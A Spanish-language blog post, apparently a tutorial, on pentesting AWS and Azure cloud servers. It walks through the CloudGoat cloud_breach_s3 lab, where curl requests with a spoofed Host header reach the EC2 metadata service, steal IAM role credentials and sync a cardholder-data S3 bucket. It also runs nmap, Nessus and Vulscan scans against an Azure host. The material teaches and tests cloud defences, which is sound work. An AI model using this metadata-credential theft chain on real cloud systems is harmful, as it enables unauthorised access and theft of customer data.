15 may 2024

PENTESTING A SERVIDORES EN LA NUBE DE AMAZON AWS Y MICROSOFT AZURE


Continuando con el tema de Pentesting Cloud, en esta entrada basada en el artículo “Pentesting a servidores en la nube de Amazon AWS y Microsoft Azure.” de Jhonatan Valencia Arango. Se hablará sobre algunas técnicas y herramientas utilizadas para el Pentesting a servidores alojados en estas plataformas.


 

PENTESTING EN LA NUBE DE AWS

AWS en la actualidad ofrece cientos de servicios que se alojan en la nube, entre ellos se brindan servicios de cómputo y almacenamiento, entrega de contenido, administración de seguridad, infraestructura, redes, entre otros. Dentro de los servicios a los cuales les podemos realizar pruebas de penetración en AWS se tienen, por ejemplo, API’s que se hayan desarrollado, aplicaciones web, máquinas virtuales y lo que definitivamente no se puede probar están los servidores pertenecientes a AWS, hardware físico o infraestructura que pertenezca a AWS, EC2 que pertenezcan al proveedor, entre otros.

A continuación se realizará un caso práctico de penetración de caja negra en nube para ver las vulnerabilidades (basado en el caso de la entidad bancaria Capital One, sucedida en el año 2019) utilizando las herramientas cloudgoat y prowler (Se deben tener privilegios administrativos): aws sts get-caller-identity

Imagen 1 - Validamos mediante el CLI que se haya iniciado sesión con las credenciales de AWS. (Fuente: AWSSecurityLATAM )

 

Se debe buscar el repositorio de git para descargar cloudgoat y seguir los pasos para desplegarlo, comenzando por clonar el repositorio: git clone https://github.com/RhinoSecurityLabs/cloudgoat.git

Imagen 2 - Pasos para clonar repositorio cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se debe ejecutar el comando que instala las librerías necesarias para ejecutar cloudgoat y otorgar permisos para ejecución: pip3 install -r ./core/Python/requirements.txt

Imagen 3 - Dependencias instaladas para el funcionamiento de cloudgoat. (Fuente: AWSSecurityLATAM)

 

Chmod u+x cloudgoat.py

Imagen 4 - Comando para otorgar permisos a cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se debe crear un perfil en cloudgoat: ./cloudgoat.py config profile

Imagen 5 - Comando para crear perfíl en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Adentrándose un poco más en el repositorio y la documentación de cloudgoat, se evidencia que existen diferentes escenarios y la dificultad para los cuales se puede utilizar la herramienta, en este caso se usará el escenario cloud_breach_s3 considerada como dificultad moderada.

Se ejecuta el comando de cloudgoat con el escenario deseado: ./cloudgoat.py create cloud_breach_s3

Imagen 6 - Comando para ejecutar el escenario cloud_breach_s3 en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Imagen 7 - Resultado de ejecutar el escenario cloud_breach_s3 en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se puede identificar que el resultado de ejecutar el escenario cloud_breach_s3, nos retorna una IP pública, la cual se utilizará para realizar el escaneo, es por esta razón que se dice que se realizará una prueba de caja negra ya que no se proporciona mayor información sobre los servicios que tiene alojada la cuenta de AWS.

mkdir breach_s3

Imagen 8 - Crear un directorio en la raíz llamada cloud_breach_s3 para almacenar toda la información que se vaya obteniendo. (Fuente: AWSSecurityLATAM )

 

Se ejecuta Nmap para descubrir equipos, puertos, evaluaciones de seguridad, análisis de seguridad sobre servicios de activos tecnológicos, en este caso, se requiere para escanear los puertos y sus versiones: nmap -sV –min-rate=5000 -p- 18.204.23.134

Imagen 9 - Escaneo de todos los puertos existentes con Nmap. (Fuente: AWSSecurityLATAM )

 

Se debe abrir una nueva terminal e ingresar con el super usuario para clonar el repositorio de la herramienta Prowler, la cual permite realizar análisis de seguridad, basada en los controles del CIS (Controles de Seguridad de Internet). git clone https://github.com/toniblyx/prowler

Imagen 10 - Proceso de clonado del repositorio de Prowler. (Fuente: AWSSecurityLATAM )

 

Se ingresa a la carpeta de prowler: ls

Imagen 11 - Listado de elementos en la carpeta de Prowler. (Fuente: AWSSecurityLATAM )

 

Se realiza el escaneo de vulnerabilidades con Prowler: ./prowler

Imagen 12 - Escaneo de Prowler. (Fuente: AWSSecurityLATAM )

 

Imagen 13 - Resultados del escaneo de Prowler. (Fuente: AWSSecurityLATAM )

 

Prowler realiza el escaneo y verificación de los diferentes puntos de control que se encuentran publicados en el CIS, iniciando por el módulo de Identity and Access Management, en caso de cumplirse con el chequeo, la prueba pasa, en caso contrario, sale como fallido y serían los huecos de seguridad que deben entrar en un proceso de revisión basados en la severidad del caso (Critical, Medium, Low), ya que al no ser tratados, se facilitaría un ataque de fuerza bruta.

Al regresar a la terminal en donde se ha ejecutado el comando de Nmap, los resultados reflejan que posiblemente se tiene un bloqueo por medio de las validaciones de ping, pero se sugiere ejecutar con el flag -Pn: nmap -sV –min-rate=5000 -p- -Pn 18.204.23.134

Imagen 14 - Resultados del escaneo con Nmap y el flag -Pn. (Fuente: AWSSecurityLATAM )

 

Con la información resultante se evidencia que se está corriendo un servidor http en el puerto 80, para lo cual podemos hacer una auditoría utilizando la herramienta Nikto para identificar vulnerabilidades web, en el caso de este servidor arroja que no tiene la cabecera de seguridad X-frame-Options y puede ser vulnerable a ataques de clickjacking(Ingeniería social), tampoco cuenta con cabecera X-XSS-Protection lo cual podría ser vulnerable a explotación de formularios XSS, así mismo, se puede evidenciar que no cuenta con cabecera X-Content-Type-Options: nikto -h http://18.204.23.134

Imagen 15 - Auditoría con Nikto. (Fuente: AWSSecurityLATAM )

 

Al realizar una petición Get mediante cURL a la IP del servidor web, retorna etiquetas HTML que indica que el servidor es un proxy hacia EC2 matadata service (Datos de la instancia que sirven para configurar o administrar la instancia en ejecución). curl http://18.204.23.134

Imagen 16 - Resultado del cURL. (Fuente: AWSSecurityLATAM )

 

Se debe ejecutar el cURL siguiendo la recomendación que se da en la etiqueta HTML, asignando una cabecera con host, se debe usar la IP de la instancia local que permite el enlace local de EC2. curl -H “host: 169.254.169.254” http://18.204.23.134

Imagen 17 - Resultado del cURL asignando la cabecera. (Fuente: AWSSecurityLATAM )

 

Se debe acceder al directorio en donde se encuentra la metadata: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/

Imagen 18 - Resultado del cURL asignando accediendo al directorio de la metadata. (Fuente: AWSSecurityLATAM )

 

Desde el punto de vista de un atacante, el directorio al que inicialmente se accedería, sería la de iam: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/iam/

Imagen 19 - Resultado de acceder al directorio de iam. (Fuente: AWSSecurityLATAM )

 

Ahora es posible acceder al role que devuelve el resultado y a la información allí contenida: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidxl4rdallle

Imagen 20 - Información del role. (Fuente: AWSSecurityLATAM )

 

Este caso práctico demuestra la gravedad de haber configurado como proxy y crear una comunicación desde una IP pública hasta una IP privada encargada de mostrar el servicio de metadatos, exponiendo información como las credenciales de un role específico.

Ahora ya es posible autenticarse con las credenciales expuestas: aws configure --profile cloudgoat

Imagen 21 - Autenticación con credenciales del role expuesto. (Fuente: AWSSecurityLATAM )

 

Se edita el archivo de credenciales para actualizar el token con el que se ha expuesto: nano /root/.aws/credentials

Imagen 22 - Modificar archivo credentials. (Fuente: AWSSecurityLATAM )

 

Imagen 23 - Actualización del archivo. (Fuente: AWSSecurityLATAM )

 

Para comprobar que ya se puede acceder con esas credenciales se debe ejecutar el comando sts y comprobar que el role es el que se ha expuesto: aws sts get-caller-identity --profile cloudgoat

Imagen 24 - Ejecución del comando sts. (Fuente: AWSSecurityLATAM )

 

Para comprobar a qué servicios se tiene acceso, se utiliza una herramienta para ataques de fuerza bruta, llamada enumerate iam, se puede descargar el repositorio de git y seguir los pasos para poder usarla: ls

cat enumerate_iam.txt

aws sts get-caller-identity --profile cloudgoat

Imagen 25 - Uso de enumerate iam. (Fuente: AWSSecurityLATAM )

 

Ahora que se tiene el conocimiento de los recursos a los cuales se puede acceder mediante el uso de las credenciales que se han obtenido, se pueden listar los buckets de S3 y los archivos que contiene: aws s3 ls --profile cloudgoat

Imagen 26 - Listado de buckets y sus archivos. (Fuente: AWSSecurityLATAM )

 

Finalmente se puede sincronizar el bucket de S3 con la carpeta local que se ha creado anteriormente, llamada breach_s3 para poder descargar los archivos en la máquina local y poder manipularlos: cd breach_s3/

ls

aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidxl4rdallle ./ --profile cloudgoat

ls

ls -la

Imagen 27 - Sincronización del bucket de S3. (Fuente: AWSSecurityLATAM )

 

Si bien es cierto que AWS ofrece una plataforma sólida para alojar la infraestructura y aplicaciones de las organizaciones, la seguridad es algo que siempre se debe cuidar ya que la fuga de información confidencial es un incidente que puede costar mucho y dañar la reputación de las industrias, para evitarlo se han creado diversas herramientas que permiten encontrar vulnerabilidades, entre ellas tenemos las siguientes:

  • AWS Config: Permite evaluar, registrar y auditar las diferentes configuraciones de todos los recursos de AWS.
  • Intruder: Permite escanear toda la nube, siendo capaz de monitorear sus redes, aplicaciones web y los diferentes entornos configurados.
  • Astra Pentest: Permite encontrar vulnerabilidades y ofrece recomendaciones para corregirlas.
  • Cloudmapper: Herramienta de código abierto que permite visualizar de manera interactiva los activos, servicios y componentes de la nube.
  • CloudSploit: Permite detectar cientos de amenazas en una cuenta de AWS.

 


PENTESTING EN LA NUBE DE MICROSOFT AZURE

Azure representa una inmensa colección de servidores y hardware los cuales contienen una variada gama de aplicaciones distribuidas. La implementación de una infraestructura cloud trae consigo ciertas ventajas como los costos, que son de fácil administración, entre muchas otras. Sin embargo, así como en los demás proveedores de servicios en la nube, el tema de la seguridad debe ser revisado minuciosamente por la compañía implementadora, ya que son vulnerables a diferentes ataques que afectan su buen funcionamiento o pueden estar sujetos a la exposición de la información de sus clientes.

A continuación, se realizará un caso práctico de penetración de a la nube de Microsoft Azure para ver las vulnerabilidades que puede presentar:

nmap -oX nmap-scan-puertos_externo.xml -sV -P -O 4.227.194.97

Imagen 28 - Escaneo de puertos con Nmap. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Se puede evidenciar que al realizar el escaneo, se encuentran los puertos con los cuales se puede acceder a los servicios y validar los privilegios del servidor.

nmap -oX nmap-scan-web_externo.xml -p 80 -script=http-enum 4.227.194.97

Imagen 29 - Determinar los archivos y carpetas existentes. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Para un ataque, el resultado anterior no representa información que pueda ser de mucha utilidad, para lo cual se ejecuta un nuevo escaneo usando Vulscan: nmap -sV /oX nmap-VULSCAN_externo.xml --script vulscan/ 4.227.194.97

Imagen 30 - Escaneo usando Nmap y Vulscan. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Los resultados del escaneo revelan diferentes vulnerabilidades que se detallan a continuación:

Vulnerabilidad

Fecha publicación

Fuente

Descripción

CVE-2013-3174

07/09/2013

Microsoft Corporation

Permite a atacantes remotos ejecutar código arbitrario a través de un archivo GIF manipulado.

CVE-2013-3154

07/09/2013

Microsoft Corporation

Vulnerabilidad de nombre de ruta incorrecto de Microsoft Windows 7 Defender

CVE-2009-3555

11/09/2009

Red Hat, Inc.

Múltiples productos de Cisco y otros productos, no asocia correctamente los apretones de manos de renegociación con una conexión existente, lo que permite a los atacantes "man-in-themiddle" insertar datos en sesiones HTTPS.

Tabla 1 - Resultados del escaneo de vulnerabilidades

 

Se aplica el escaneo a través de la herramienta Nessus para identificar las diferentes vulnerabilidades del servicio en la nube de Microsoft Azure:

Imagen 31 - Preparación del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Imagen 32 - Ejecución del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Los resultados del escaneo reflejan que se trata de una vulnerabilidad con prioridad media y se debe a que el certificado del servidor no es confiable ya que no cuenta con una autoridad certificadora conocida.

Imagen 33 - Resultados del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Para evitar este tipo de vulnerabilidades que han sido halladas durante los escaneos, se recomienda en primera instancia configurar y habilitar un firewall, actualizar el firmware de los componentes de la red, bloquear protocolos ICMP, realizar escaneos con una alta periodicidad, realizar las actualizaciones que requiere Microsoft, controlar las herramientas de administración de paquetes nativos del sistema operativo.

 

 

@TheHackingDay



No hay comentarios:

Publicar un comentario

Tus Comentarios son Importantes para Nosotros Siéntete Libre De Opinar